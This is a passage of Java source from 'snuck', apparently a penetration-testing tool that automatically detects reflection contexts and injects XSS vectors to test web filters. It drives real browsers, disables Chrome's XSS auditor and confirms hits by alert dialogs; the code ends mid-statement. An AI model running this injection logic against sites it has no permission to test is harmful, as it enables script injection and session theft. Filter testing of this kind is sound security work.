			bar.update(i, size);
			i++;
			
			delimiter = injection + i;
			current = "<" + element + " " +
					attributes + ">" + "X" + "</" + element + ">";
			
			Starter.injectFast(delimiter + current + delimiter);
				    	
			Reverser.checkReversion(delimiter, element, htmlAttributes, allowedElements, Starter.getDriverFast());
		}
		
		Starter.setAllowedElements(allowedElements);
	}
	
	public void injectExpression() {
		bar = new commandline.ProgressBar();
		int i = 0;
		String[] _InStyle_vectors = new String[_expression_payloads.length * 2];
		int size = _InStyle_vectors.length;
		String[] head = { "color", "width", "-", "x", "xss" };
				
		Debug.print("INFO: Reflection context: style attribute - you should switch IE in compatibility mode in order to proceed...");
		Debug.print("Press Y and Enter once switched or N and Enter to quit.");
		
		String input = Debug.readLine();
		
		if (input != null && (input.equals("N") || input.equals("n"))){
			Starter.getDriver().quit();
			HaltHandler.quit_nok();
		}
		
		// <div style="color: UNTRUSTED_DATA;">
		for (String current : _expression_payloads){
			_InStyle_vectors[i] = Starter.randomColor() + ";" + head[(int) (Math.random() * head.length)] + ":" + current + ";";
			i++;
		}
		
		// <div style="background:url(UNTRUSTED_DATA);">
		for (String current : _expression_payloads){
			_InStyle_vectors[i] = "http://foo.com/boh);" + head[(int) (Math.random() * head.length)] + ":" + current + "/*";
			i++;
		}
		
		i = 0;
		for (String current : _InStyle_vectors){
			bar.update(i, size);
			i++;
			
			String current_url = Starter.getDriver().getCurrentUrl();
			
			Starter.inject(current);
			
			URL tmp = null;
			
			try {
				tmp = new URL(Starter.getDriver().getCurrentUrl());
			} catch (MalformedURLException e) {
				Debug.printError("ERROR: unable to select the current URL");
				HaltHandler.quit_nok();
			}
			
			if (tmp.getPath().endsWith("/0") && !tmp.equals(current_url)){
				log(current);
			}
		}
	}

	public void injectWithinEventHandler(String closing_string_character) {
		bar = new commandline.ProgressBar();
		int i = 0;
		int size =  _script_payloads.length;
		
		for (String current : _script_payloads){
			bar.update(i, size);
			i++;
			
			if ( (numberOfXSS <= limitNumberOfXSS - 1 && Starter.getOperation() == 1)
					|| Starter.getOperation() == 2 ) {
				
				String breaking_vector = ( (closing_string_character == null) ? "" : closing_string_character + ";" ) +
										current +
										"//";

				Starter.inject(breaking_vector);
			
				for (int j = 0; j < numberOfXSS;j++)
					try {
						waitForAlert(null);
				    } catch (Exception e) {
				      	break;
				    }
				
				List<WebElement> injected_nodes = Starter.getDriver().findElements(By.xpath("//*[contains(@onclick,\"" + current + "\")]"));
				
				if (injected_nodes.size() != 0){
					for (WebElement e : injected_nodes)
						if (e.isDisplayed()){
							e.click();
							break;
						}
					
					try {								
						waitForAlert(breaking_vector);
				    } catch (Exception e) {
				      	continue;
				    }
				}
			}
		}
	}
}


<|start_filename|>src/core/Starter.java<|end_filename|>
/*
   snuck - starter
   --------------------------------
   
   Author: <NAME> <<EMAIL>>

   Copyright 2012 <NAME>

   Licensed under the Apache License, Version 2.0 (the "License");
   you may not use this file except in compliance with the License.
   You may obtain a copy of the License at

     http://www.apache.org/licenses/LICENSE-2.0

   Unless required by applicable law or agreed to in writing, software
   distributed under the License is distributed on an "AS IS" BASIS,
   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
   See the License for the specific language governing permissions and
   limitations under the License.

 */

package core;

import java.io.File;
import java.io.IOException;
import java.math.BigInteger;
import java.security.SecureRandom;
import java.util.Arrays;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedList;
import java.util.List;
import java.util.Map;
import java.util.Random;
import java.util.Set;
import java.util.logging.Level;
import java.util.logging.Logger;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

import org.openqa.selenium.JavascriptExecutor;
import org.openqa.selenium.WebDriver;
import org.openqa.selenium.WebElement;
import org.openqa.selenium.chrome.ChromeDriverService;
import org.openqa.selenium.firefox.FirefoxDriver;
import org.openqa.selenium.htmlunit.HtmlUnitDriver;
import org.openqa.selenium.ie.InternetExplorerDriver;
import org.openqa.selenium.remote.CapabilityType;
import org.openqa.selenium.remote.DesiredCapabilities;
import org.openqa.selenium.remote.RemoteWebDriver;

import commandline.CmdArgsParser;
import commandline.Debug;
import commandline.HaltHandler;

import xmlparser.XmlConfigReader;

public class Starter  {	
	private static Map<String, String[]> notRenderedContent_tags = null;
	
	private static WebDriver driver = null;
	
	private static HtmlUnitDriver driverFast = null;
		
	private static List<String> detectedXSSVectors = new LinkedList<String>();
	
	private static Map<String, List<String>> allowedElements = new HashMap<String, List<String>>();
	
	private static List<String> allowedProtocols =  new LinkedList<String>();
	
	// XmlConfigReader object whose purpose is to parse the XML config file (use case)
	private static XmlConfigReader xmlConfig;
	
	// useful for an optional login use case
	private static XmlConfigReader xmlConfigStart;
	
	private static String reflectionContext;
	
	// CmdArgsParser object, it keeps track of the passed arguments
	private static CmdArgsParser parseArgs;
		
	// it refers to the detected operation for the tested XSS filter
	// 1 stands for INSERT, 2 stands for UPDATE
	private static int operation = 0;
	
	// useful for driving Google Chrome
	private static ChromeDriverService service;
	
	// am I working with IE? If so, I have to modify some structures in order to be "IE-compliant"
	private static boolean IE_enabled;
		
	// it tracks the web browser I am running the test with
	private static String usedBrowser;
	
	// generate a random string to make the first injection
	private static String injection = new BigInteger(130, new SecureRandom()).toString(32);
	
	// monitoring the shutdown signal is mandatory for giving the attack vectors back in the case of forced quit
	private static HaltHandler shutdown_hook = new HaltHandler();
	
    public static void main(String[] args) {
    	Runtime.getRuntime().addShutdownHook(shutdown_hook);
    	 
    	// parse command line arguments 
    	parseArgs = new CmdArgsParser(args);    	
    	
    	// parse the xml config file
    	xmlConfig = new XmlConfigReader(parseArgs.getConfigfileName());

    	// create and Inject object - it will be used later to make injections
    	Inject inject;
    	
    	// check whether the tester wants to use a remote repository for the attack vectors
    	if (parseArgs.getAttackVectorsRepositoryURL() != null)
    		inject = new Inject(parseArgs.getAttackVectorsRepositoryURL());
    	else
    		inject = new Inject();
    		
		// avoid useless and annoying logs
		Logger logger = Logger.getLogger ("");
		logger.setLevel (Level.OFF);
				
		/**
		 * Here starts the reverse engineering process
		 */	
   	
		// HtmlUnitDriver is started
   		setupDriverFast();
		
		if (parseArgs.getStartConfigfileName() != null){
			// parse the start config file - i.e. login use case
	    	xmlConfigStart = new XmlConfigReader(parseArgs.getStartConfigfileName());
	    	xmlConfigStart.commonInject(driverFast, null, 0);
		}
		    
		if (!isReflected()) {
			Debug.printError("ERROR: the parameter is not reflected within the page => no XSS possible!");
    		driverFast.quit();
    		HaltHandler.quit_nok();
		}

        // check whether the XSS filter can be reversed on the basis of the reflection context
	    inject.checkReflectionContext(injection);   
	    	
	    // check whether the filter makes an UPDATE operation or
	    // an INSERT operation
	    checkOperation(injection, (new Random()).nextInt(10000) + ""); 	
        	
    	driverFast.quit();

    	/**
		 * Here starts the (really) malicious test
		 */ 
    	
   		setupDriver();
    	         
    	if (parseArgs.getStartConfigfileName() != null){
	    	xmlConfigStart.commonInject(driver, null, 0);
		}
	    	
    	String init_injection = injection + (new Random()).nextInt(100000);
       	inject(init_injection);
   		startMaliciousInjection(inject, init_injection);		
    	
    	boolean weakFilter = (inject.getNumberXSS() - inject.getLimitNumberXSS() == 0) && 
    							operation == 1;
    	
    	report.ReportGenerator.generateReport(parseArgs.getReportfileName(), parseArgs.getConfigfileName(), 
    											usedBrowser, reflectionContext, operation, allowedElements, 
    											allowedProtocols, detectedXSSVectors, weakFilter, false, xmlConfig.getMethod());
    	
    	Debug.print("\nThe malicious test has finished. A report has been generated: " + parseArgs.getReportfileName());

    	driver.quit();
    	
    	// Running on Chrome? Ok let's stop the service
    	if (service != null)
    		service.stop();
    	
    	HaltHandler.quit_ok();
    }
    
    /**
   	 * Start the HtmlUnit web driver
   	 */
    private static void setupDriverFast(){
    	if (parseArgs.getProxyInfo() != null){
			String proxy_conf = parseArgs.getProxyInfo();

	    	org.openqa.selenium.Proxy proxy = new org.openqa.selenium.Proxy();
	    	proxy.setHttpProxy(proxy_conf).setFtpProxy(proxy_conf).setSslProxy(proxy_conf);
	    	DesiredCapabilities cap = new DesiredCapabilities();
	    	cap.setCapability(CapabilityType.PROXY, proxy);
	    	driverFast = new HtmlUnitDriver(cap);
		} else 
			driverFast = new HtmlUnitDriver();
    }
    
    /**
	 * Start the requested web driver
	 */
	private static void setupDriver(){
    	
    	if (parseArgs.getChromeDriverPath() != null){
    		
    		String path_to_chromedriver = parseArgs.getChromeDriverPath();
    		
    		service = new ChromeDriverService.Builder()
    						.usingDriverExecutable(new File(path_to_chromedriver))
							.usingAnyFreePort()
							.build();
    		
    		try {
				service.start();
			} catch (IOException e) {
				Debug.printError("ERROR: unable to load Chrome server. \n" + e.getMessage());
				HaltHandler.quit_nok();
			}

    		// disable the built-in Chrome XSS filter
    		DesiredCapabilities capabilities = DesiredCapabilities.chrome();
    		capabilities.setCapability("chrome.switches", Arrays.asList("--disable-xss-auditor", "--disable-extensions"));

        	if (parseArgs.getProxyInfo() != null)
        		capabilities.setCapability("chrome.switches", Arrays.asList("--proxy-server=" + parseArgs.getProxyInfo()));

    		driver = new RemoteWebDriver(service.getUrl(), capabilities);
    		
    		usedBrowser = "Google Chrome";
    	} else if (parseArgs.getEnabledIE()) {
    		IE_enabled = true;
    		
    		if (parseArgs.getProxyInfo() != null){
    			String proxy_conf = parseArgs.getProxyInfo();

    	    	org.openqa.selenium.Proxy proxy = new org.openqa.selenium.Proxy();
    	    	proxy.setHttpProxy(proxy_conf).setFtpProxy(proxy_conf).setSslProxy(proxy_conf);
    	    	DesiredCapabilities cap = DesiredCapabilities.internetExplorer();
    	    	cap.setCapability(CapabilityType.PROXY, proxy);
    	    	driver = new InternetExplorerDriver(cap);
    		} else {
        		String path_to_IEdriver = parseArgs.getIEDriverPath();

    			File file = new File(path_to_IEdriver);
    			System.setProperty("webdriver.ie.driver", file.getAbsolutePath());
    			
		        driver = new InternetExplorerDriver();
    		}
    		
    		usedBrowser = "Internet Explorer";
    	} else {
    		
    		if (parseArgs.getProxyInfo() != null){
    			String proxy_conf = parseArgs.getProxyInfo();

    	    	org.openqa.selenium.Proxy proxy = new org.openqa.selenium.Proxy();
    	    	proxy.setHttpProxy(proxy_conf).setFtpProxy(proxy_conf).setSslProxy(proxy_conf);
    	    	DesiredCapabilities cap = new DesiredCapabilities();
    	    	cap.setCapability(CapabilityType.PROXY, proxy);
    	    	driver = new FirefoxDriver(cap);
    		} else {
    			driver = new FirefoxDriver();
    		}
    		
    		usedBrowser = "Mozilla Firefox";
    	}
    }
	
	private static int attempt_num = 0;
	// proposals is used for keeping track of the requests for injection to the user
    private static Set<String> proposals = new HashSet<String>(); 
    private static boolean flag = false;
	// does the injection fall in multiple contexts?
    private static boolean multi_contexts = false;
	private static void startMaliciousInjection(Inject inject, String injection) {        
		List<WebElement> parents = null;
        List<WebElement> elements = null;
    	boolean inHtmlComment = false;
    	
		// Expected reflection context: <tag>UNTRUSTED DATA</tag>
        parents = ContextDetection.getParents(injection, IE_enabled);
		// Expected reflection context = <element attribute="UNTRUSTED_DATA">
        elements = ContextDetection.getParentsWithInjectedAttribute(injection, IE_enabled);
        // Expected reflection context = <!-- UNTRUSTED_DATA -->
    	inHtmlComment = ContextDetection.isInHtmlComment(injection);
    	    	   	
    	if (attempt_num == 0)
    		if (!multi_contexts)
    			multi_contexts = ( parents.size() + elements.size() + (inHtmlComment ? 1 : 0) ) > 1;
    			
		for (int i = 0; i < parents.size() && attempt_num == 0; i++){
			String tagName = parents.get(i).getTagName();
	        String attrs = ContextDetection.getAllAttributes(parents.get(i), IE_enabled);
	        
	        // Reflection context: <script>UNTRUSTED DATA</script>
	        if (tagName.toLowerCase().equals("script") && (parents.get(i).getAttribute("src").equals("")) ){
	        	
	        	boolean test = false;
	        	String scriptContent = "";
	        	
	        	// textContent does not work in IE! Let's use innerHTML
	        	if (IE_enabled){
	        		scriptContent = (String) ((JavascriptExecutor)driver).executeScript("" +
	        				"return arguments[0].innerHTML;"
	        				, parents.get(i));
	        	} else {
	        		scriptContent = (String) ((JavascriptExecutor)driver).executeScript("" +
	    	        		"return arguments[0].textContent;"
	    	     	       	, parents.get(i));
	        	}
	        	
	        	if (!attrs.equals(""))
	        		reflectionContext = "<script " + attrs + ">" + scriptContent.replace(injection, "UNTRUSTED DATA")  + "</script>";
	        	else 
	        		reflectionContext = "<script>" + scriptContent.replace(injection, "UNTRUSTED DATA") + "</script>";

	        	// <script>someFunction('blablaUNTRUSTED_DATAbla');</script>
	        	Pattern pattern = Pattern.compile("\\('[^'\\)]*" + injection + ".*");
	        	Matcher match = pattern.matcher(scriptContent);		
	        	
	        	if (match.find()){
	        		if (!multi_contexts || (proposals.add("1") 
	        				&& Debug.askForContext("<script>someFunction('UNTRUSTED_DATA');</script>"))){
		        		
	        			test = true;
			        	Debug.print("Injecting malicious vectors... (1)");
		        		inject.injectWithinScriptTag("')", "//");
		        		// ' => \'
		        		Debug.print("Injecting malicious vectors... (2)");
		        		inject.injectWithinScriptTag("\\')", "//");
		        		Debug.print("Injecting malicious vectors... (3)");
		        		inject.injectTag("</script>");
		        		return;
	        		}
	        	} 
	        	
	        	// <script>someFunction("blablaUNTRUSTED_DATAbla");</script>
	        	pattern = Pattern.compile("\\(\"[^\"\\)]*" + injection + ".*");
	        	match = pattern.matcher(scriptContent);		

	        	if (match.find()){
	        		if (!multi_contexts || (proposals.add("2") 
	        				&& Debug.askForContext("<script>someFunction(\"UNTRUSTED_DATA\");</script>"))){
		        		
		        		test = true;
			        	Debug.print("Injecting malicious vectors... (1)");
		        		inject.injectWithinScriptTag("\")", "//");
		        		// " => \"
		        		Debug.print("Injecting malicious vectors... (2)");
		        		inject.injectWithinScriptTag("\\\")", "//");
		        		Debug.print("Injecting malicious vectors... (3)");
		        		inject.injectTag("</script>");
		        		return;
	        		}
	        	}
	        		
	        	// <script>someFunction(UNTRUSTED_DATA);</script>
	        	pattern = Pattern.compile("\\([^('|\"|\\))]*" + injection + ".*");
	        	match = pattern.matcher(scriptContent);
	        	
	        	if (match.find()){
	        		if (!multi_contexts || (proposals.add("3") 
	        				&& Debug.askForContext("<script>someFunction(UNTRUSTED_DATA);</script>"))){
		        		
		        		test = true;
			        	Debug.print("Injecting malicious vectors... (1)");
		        		inject.injectWithinScriptTag(")", "//");
		        		Debug.print("Injecting malicious vectors... (2)");
		        		inject.injectTag("</script>");
		        		return;
	        		}
	        	}
	        		
	        	// <script>var variable = 'blablaUNTRUSTED_DATAbla';</script>
	        	pattern = Pattern.compile("'[^']*" + injection + ".*");
	        	match = pattern.matcher(scriptContent);	
	        	boolean f = match.find();
	        	
	        	pattern = Pattern.compile("\\('[^'\\)]*" + injection + ".*");
	        	match = pattern.matcher(scriptContent);	
	        	
	        	// really dirty here...
	        	if (!match.find() && f){
	        		if (!multi_contexts || (proposals.add("4") 
	        				&& Debug.askForContext("<script>var variable = 'UNTRUSTED_DATA';</script>"))){
		        		
		        		test = true;
			        	Debug.print("Injecting malicious vectors... (1)");
		        		inject.injectWithinScriptTag("'", "//");
		        		Debug.print("Injecting malicious vectors... (2)");
		        		inject.injectWithinScriptTag("\\')", "//");
		        		Debug.print("Injecting malicious vectors... (3)");
		        		inject.injectTag("</script>");
		        		return;
	        		}
	        	}
	        		
	        	// <script>var variable = "blablaUNTRUSTED_DATAbla";</script>
	        	pattern = Pattern.compile("[^\\(]\"[^\"]*" + injection + ".*");
	        	match = pattern.matcher(scriptContent);		
	        	
	        	if (match.find()){
	        		if (!multi_contexts || (proposals.add("5") 
	        				&& Debug.askForContext("<script>var variable = \"UNTRUSTED_DATA\";</script>"))){
		        		
		        		test = true;
			        	Debug.print("Injecting malicious vectors... (1)");
		        		inject.injectWithinScriptTag("\"", "//");
		        		Debug.print("Injecting malicious vectors... (2)");
		        		inject.injectWithinScriptTag("\\\"", "//");
		        		Debug.print("Injecting malicious vectors... (3)");
		        		inject.injectTag("</script>");
		        		return;
	        		}
	        	}
	        	
	        	// <script> // blabla UNTRUSTED_DATA</script>
	        	pattern = Pattern.compile("//[^\\r?\\n]*" + injection + ".*");
	        	match = pattern.matcher(scriptContent);	

	        	if (match.find()){
	        		if (!multi_contexts || (proposals.add("6") 
	        				&& Debug.askForContext("<script> // UNTRUSTED_DATA</script>"))){
		        		
		        		test = true;
			        	Debug.print("Injecting malicious vectors... (1)");
		        		inject.injectWithinScriptTag("\r\n0", null);
		        		Debug.print("Injecting malicious vectors... (2)");
		        		inject.injectTag("</script>");
		        		return;
	        		}
	        	}
	        	
	        	// <script> /* blabla UNTRUSTED_DATA blabla */ </script>
	        	pattern = Pattern.compile("/\\*[^\\*/]*" + injection + ".*");
	        	match = pattern.matcher(scriptContent);	

	        	if (match.find()){
	        		if (!multi_contexts || (proposals.add("7") 
	        				&& Debug.askForContext("<script> /* UNTRUSTED_DATA */</script>"))){
		        	
		        		test = true;
			        	Debug.print("Injecting malicious vectors... (1)");
		        		inject.injectWithinScriptTag("*/\r\n", "/*");
		        		Debug.print("Injecting malicious vectors... (2)");
		        		inject.injectTag("</script>");
		        		return;
	        		}
	        	}
	        	
	        	if (!test && proposals.size() == 0) {
	        		if (!multi_contexts || (proposals.add("8") 
	        				&& Debug.askForContext("<script> UNTRUSTED_DATA </script>"))){
	        			
	        			Debug.print("Injecting malicious vectors...");
			        	inject.injectWithinScriptTag(null, "//");
			        	return;
	        		}
	        	}
	        	
	        } else { 
	        	if (!attrs.equals(""))
	        		reflectionContext = "<" + tagName + " " + attrs + ">" + "UNTRUSTED DATA" + "</" + tagName + ">";
	        	else 
	        		reflectionContext = "<" + tagName + ">" + "UNTRUSTED DATA" + "</" + tagName + ">";

	        	if (notRenderedContent_tags == null)
	        		populateNotRendered();
	        		
	        	if (notRenderedContent_tags.containsKey(tagName.toLowerCase())){
	        		for (String k : notRenderedContent_tags.keySet()) {
	        			if (tagName.toLowerCase().equals(k)){
	        				String[] attributes = notRenderedContent_tags.get(k);
	        				
	        				if (attributes == null){	
	        					if (!multi_contexts || (proposals.add(k) 
	        	        				&& Debug.askForContext("<" + k + "> UNTRUSTED_DATA </" + k + ">"))){
	        		        		
	        						Debug.print("Injecting malicious vectors... (1)");
					        		inject.injectTag("</" + k + ">");
					        		Debug.print("Injecting malicious vectors... (2)");
									inject.injectScriptTag("</" + k + ">");
									return;
	        		        	}
							}
	        				else {
		       					for (String attr : attributes){
		       						if (parents.get(i).getAttribute(attr) != null){
		       							if (!multi_contexts  || (proposals.add(k) 
			        	        				&& Debug.askForContext("<" + k + "> UNTRUSTED_DATA </" + k + ">"))){
		       								
			       							Debug.print("Injecting malicious vectors... (1)");
			       							inject.injectTag("</" + k + ">");
			       							Debug.print("Injecting malicious vectors... (2)");
			       							inject.injectScriptTag("</" + k + ">");
			       							return;
		       							}
		       						}
		       					}
	        				}
	        			}
	        		}
	        	} else {
	        		
	        		if (!multi_contexts || (proposals.add("9") 
	        				&& Debug.askForContext("<HTMLtag> UNTRUSTED_DATA </HTMLtag>"))){
	        			
		        		Debug.print("Injecting malicious vectors...");
			       		inject.injectTag(null);
			        		
		        		if (allowedElements.keySet().contains("script")){
		        			Debug.print("Injecting malicious vectors through <script>...");
			       			inject.injectScriptTag(null);
		        		}
		        		return;
	        		}
	        	}
	        }
	        
        }
                
		if (!flag){
			inject.injectDummyAttribute();
			flag = true;
		}
		
		if (elements.size() != 0 && attempt_num == 0) {
    		// reload the page
        	inject(injection);
        }
		
        elements = ContextDetection.getParentsWithInjectedAttribute(injection, IE_enabled);

		for (int i = 0; i < elements.size(); i++){
        	String tagName = elements.get(i).getTagName();
        	String attrs = ContextDetection.getAttributesFromInjected(elements.get(i), injection, IE_enabled);
        	String injected_attribute = ContextDetection.getInjectedAttribute();
        	        	
        	if (injected_attribute == null || elements.get(i).getAttribute(injected_attribute) == null) break; 
	                	
	        reflectionContext = "<" + tagName + " " + attrs + " " + injected_attribute + "=\"" + 
	        						elements.get(i).getAttribute(injected_attribute).replace(injection, "UNTRUSTED DATA") + "\">[...]</" + tagName + ">";
        	
        	boolean test = false;
        	String linkText = elements.get(i).getText();
        	String injected_attribute_content = elements.get(i).getAttribute(injected_attribute);

        	// href? src? 
	        if (injected_attribute.equals("src") && !tagName.equals("img")){
	        	if (!multi_contexts || (proposals.add("10") 
        				&& Debug.askForContext("<HTMLtag src=\"UNTRUSTED_DATA\">"))){
		        	test = true;
		        	
		        	if (inject.areAttributesBreakable())
		        		Debug.print("Injecting malicious vectors... (1)");
		        	else 
		        		Debug.print("Injecting malicious vectors... ");
		        	inject.injectUntrustedURL_src();
	        	}
	        } else if (injected_attribute.equals("href") && !test){		
	        	if (!multi_contexts || (proposals.add("11") 
        				&& Debug.askForContext("<a href=\"UNTRUSTED_DATA\">"))){
	        		
		        	test = true;
		        	if (inject.areAttributesBreakable())
		        		Debug.print("Injecting malicious vectors... (1)");
		        	else 
		        		Debug.print("Injecting malicious vectors... ");
		        	inject.injectUntrustedURL_href(linkText);
	        	}
	        // IE => width: expression(alert(1));  
	        } else if (injected_attribute.equals("style") && IE_enabled && !test){	
	        	if (!multi_contexts || (proposals.add("12") 
        				&& Debug.askForContext("<HTMLtag style=\"UNTRUSTED_DATA\">"))){
	        		
		        	test = true;
		        	if (inject.areAttributesBreakable())
		        		Debug.print("Injecting malicious vectors... (1)");
		        	else 
		        		Debug.print("Injecting malicious vectors... ");
		        	inject.injectExpression();
	        	}
	        } else if (injected_attribute.startsWith("on") && !test){
	        			        	
		        	boolean z = false;
		        	
		        	Pattern pattern = Pattern.compile("'[^']*" + injection + ".*");
		        	Matcher match = pattern.matcher(injected_attribute_content);		
		        	
		        	if (match.find()){
		        		z = true;
		        		if (injected_attribute.equals("onclick"))
		        			if (!multi_contexts || (proposals.add("13") 
		            				&& Debug.askForContext("<HTMLtag onclick=\"var z = 'UNTRUSTED_DATA';\">"))){
		        				
		        				if (inject.areAttributesBreakable())
		    		        		Debug.print("Injecting malicious vectors... (1)");
		    		        	else 
		    		        		Debug.print("Injecting malicious vectors... ");
		        				
		        				inject.injectWithinEventHandler("'");
		        				test = true;
		        			}
		        		else
		        			if (!multi_contexts || (proposals.add("14") 
		            				&& Debug.askForContext("<HTMLtag eventHandler=\"var z = 'UNTRUSTED_DATA';\">"))){
		        				
		        				if (inject.areAttributesBreakable())
		    		        		Debug.print("Injecting malicious vectors... (1)");
		    		        	else 
		    		        		Debug.print("Injecting malicious vectors... ");
		        				
		        				inject.injectWithinScriptTag("'", "//");
		        				test = true;
		        			}
		        	} 
		        	
		        	pattern = Pattern.compile("\"[^\"]*" + injection + ".*");
		        	match = pattern.matcher(injected_attribute_content);		
		        	
		        	if (match.find()){
		        		z = true;
		        		if (injected_attribute.equals("onclick"))
		        			if (!multi_contexts || (proposals.add("15") 
		            				&& Debug.askForContext("<HTMLtag onclick='var z = \"UNTRUSTED_DATA\";'>"))){
		        				
		        				if (inject.areAttributesBreakable())
		    		        		Debug.print("Injecting malicious vectors... (1)");
		    		        	else 
		    		        		Debug.print("Injecting malicious vectors... ");
		        				
		        				inject.injectWithinEventHandler("\"");
		        				test = true;
		        			}
		        		else
		        			if (!multi_contexts || (proposals.add("16") 
		            				&& Debug.askForContext("<HTMLtag eventHandler='var z = \"UNTRUSTED_DATA\";'>"))){
		        				
		        				if (inject.areAttributesBreakable())
		    		        		Debug.print("Injecting malicious vectors... (1)");
		    		        	else 
		    		        		Debug.print("Injecting malicious vectors... ");
		        				
		        				inject.injectWithinScriptTag("\"", "//");
		        				test = true;
		        			}
		        	} 
		        	
		        	if (!z)
		        		if (injected_attribute.equals("onclick")) {
		        			if (!multi_contexts || (proposals.add("17") 
		            				&& Debug.askForContext("<HTMLtag onclick=\"UNTRUSTED_DATA\">"))){
		        				
		        				if (inject.areAttributesBreakable())
		    		        		Debug.print("Injecting malicious vectors... (1)");
		    		        	else 
		    		        		Debug.print("Injecting malicious vectors... ");
		        				
		        				inject.injectWithinEventHandler("0");
		        				test = true;
		        			}
		        		} else {
		        			if (!multi_contexts || (proposals.add("18") 
		            				&& Debug.askForContext("<HTMLtag eventHandler=\"UNTRUSTED_DATA\">"))){
		        				
		        				if (inject.areAttributesBreakable())
		    		        		Debug.print("Injecting malicious vectors... (1)");
		    		        	else 
		    		        		Debug.print("Injecting malicious vectors... ");
		        				
		        				inject.injectWithinScriptTag("0", "//");
		        				test = true;
		        			}
		        		}
	        }
	        
	        if (inject.areAttributesBreakable()){
	        	boolean tmp = false;
	        	
	        	// inject an on* attribute
	        	if (tagName.equals("img")) {
	        		// Change the image as you prefer! It is just useful for injections like
	        		// <img src="UNTRUSTED_DATA" />
	        		String path_to_real_image = "http://www.sneaked.net/Images/12300.png";
	        		if (test){
	        			Debug.print("Injecting malicious vectors... (2)");
	        			inject.injectAttribute(path_to_real_image);
	        		} else {
	        			if (!multi_contexts || (proposals.add("19") 
	            				&& Debug.askForContext("<img src=\"UNTRUSTED_DATA\" />"))) {
	        				
	        				Debug.print("Injecting malicious vectors... (1)");
		        			inject.injectAttribute(path_to_real_image);
	        				tmp = true;
	        			}
	        		}
	        	} else
	        		if (test) {
	        			Debug.print("Injecting malicious vectors... (2)");
	        			inject.injectAttribute(null);
	        		} else if (!multi_contexts || (proposals.add("20") 
	        					&& Debug.askForContext("<HTMLtag attribute=\"UNTRUSTED_DATA\">"))) {
	        			
        				Debug.print("Injecting malicious vectors... (1)");
		        		inject.injectAttribute(null);
		        		tmp = true;
	        		}
				
				// break the element and inject a new tag
				if (test || tmp) {
					if (test) Debug.print("Injecting malicious vectors... (3)");
		        	else Debug.print("Injecting malicious vectors... (2)");
					
					if (tagName.equals("iframe"))
						inject.breakElement("</iframe>");
					else 
						inject.breakElement(null);
					
					return;
				}
	        } else if (test)
	        	return;	        
	    }
        
        
    	if (inHtmlComment){
        	reflectionContext = "<!-- UNTRUSTED DATA -->";

        	if (!multi_contexts || (proposals.add("21") 
    				&& Debug.askForContext("<!-- UNTRUSTED_DATA -->"))) {
        		
	        		Debug.print("Injecting malicious vectors... (1)");
	        		inject.injectTag("-->");
	        		Debug.print("Injecting malicious vectors... (2)");
	    			inject.injectScriptTag("-->");
	    			return;
        	}
    	} 
	   			
		// last attempt 
		// we need to understand whether the injection falls in CSS context
		if ( ( multi_contexts || ( elements != null && elements.size() == 0) || ( parents != null && parents.size() == 0 ) ) && attempt_num == 0 ){
			attempt_num++;		    
			String css_injection = randomColor();
	       	inject(css_injection);
	   		startMaliciousInjection(inject, css_injection);	
	   		return;
		}
		
		// I'm here?! Ok, nothing to do...
		if (multi_contexts){
    		Debug.printError("\nINFO: no more reflection contexts available...");
    		HaltHandler.quit_ok();
    	}
    }

	/**
	 * Inject with the chosen web driver 
	 */
	public static void inject(String injection){
		xmlConfig.commonInject(driver, injection, parseArgs.getDelayInterval());
	}

	/**
	 * Inject with the HtmlUnitDriver
	 */
	public static void injectFast(String injection){	
		xmlConfig.commonInject(driverFast, injection, parseArgs.getDelayInterval());
	}
	
	/**
	 * Check whether the injection is reflected in the reflection page
	 */
	private static boolean isReflected() {
		// alphanumeric string
		injectFast(injection);
				
		if (driverFast.getPageSource().contains(injection) || driverFast.getPageSource().contains(injection.toLowerCase()))
			return true;
		
		// numeric string
		injection =  "" + (new Random()).nextInt(100000);
		injectFast(injection);

		if (driverFast.getPageSource().contains(injection) || driverFast.getPageSource().contains(injection.toLowerCase()))
			return true;
		
		// URL
		injection = "http://www.test.com";
		injectFast(injection);

		if (driverFast.getPageSource().contains(injection) || driverFast.getPageSource().contains(injection.toLowerCase()))
			return true;
		
		// email
		injection = "<EMAIL>";
		injectFast(injection);

		if (driverFast.getPageSource().contains(injection) || driverFast.getPageSource().contains(injection.toLowerCase()))
			return true;
		
		return false;
	}

	/**
	 * Detect which kind of operation is performed by the XSS filter among INSERT (1) or UPDATE (2)
	 */
	private static void checkOperation(String injection1, String injection2) {
		injectFast(injection2);
		
		operation = ( driverFast.getPageSource().contains(injection1) && driverFast.getPageSource().contains(injection2) ) ? 1 : 2;
	}
	
	private static void populateNotRendered() {
		notRenderedContent_tags = new HashMap<String, String[]>();

		notRenderedContent_tags.put("marquee", null);
    	notRenderedContent_tags.put("style", null);
    	notRenderedContent_tags.put("xmp", null);
    	notRenderedContent_tags.put("iframe", null);
    	notRenderedContent_tags.put("noscript", null);
    	notRenderedContent_tags.put("textarea", null);
    	notRenderedContent_tags.put("title", null);
    	notRenderedContent_tags.put("script", new String[] { "src" });
	}
	
	public static String randomColor() {
    	String[] colors = { "aqua", "black", "blue", "fuchsia", "gray", "green", "lime", "maroon", "navy", "olive", "purple", "red",
    						"silver", "teal", "white", "yellow" };
    	
        return colors[(int) (Math.random() * colors.length)];
	}
	
	public static String getCurrentBrowser(){
		return usedBrowser;
	}
	
	public static WebDriver getDriver() {
		return (driver == null) ? null : driver;
	}
	
	public static HtmlUnitDriver getDriverFast() {
		return (driverFast == null) ? null : driverFast;
	}

	public static List<String> getDetectedXSSVector() {
		return detectedXSSVectors;
	}
	
	public static void addDetectedXSSVector(String xss) {
		detectedXSSVectors.add(xss);
	}
	
	public static void setAllowedProtocols(LinkedList<String> allowedSchemes) {
		allowedProtocols = allowedSchemes;		
	}

	public static void setAllowedElements(HashMap<String, List<String>> allowedHTMLElements) {
		allowedElements = allowedHTMLElements;		
	}

	public static int getOperation() {
		return operation;
	}
	
	public static ChromeDriverService getChromeService() {
		return service;
	}
	
	public static void refreshDriver(){		
		if (driver != null)
    		driver.quit();	
		
		if (service != null)
    		service.stop();
		
		setupDriver();
	}
	
	public static CmdArgsParser getParsedArgs() {
		return parseArgs;
	}

	public static Thread getHaltHandler() {
		return shutdown_hook;
	}
	
	public static void brokenPage() {
		if (reflectionContext != null) {
			report.ReportGenerator.generateReport(parseArgs.getReportfileName(), parseArgs.getConfigfileName(), usedBrowser, 
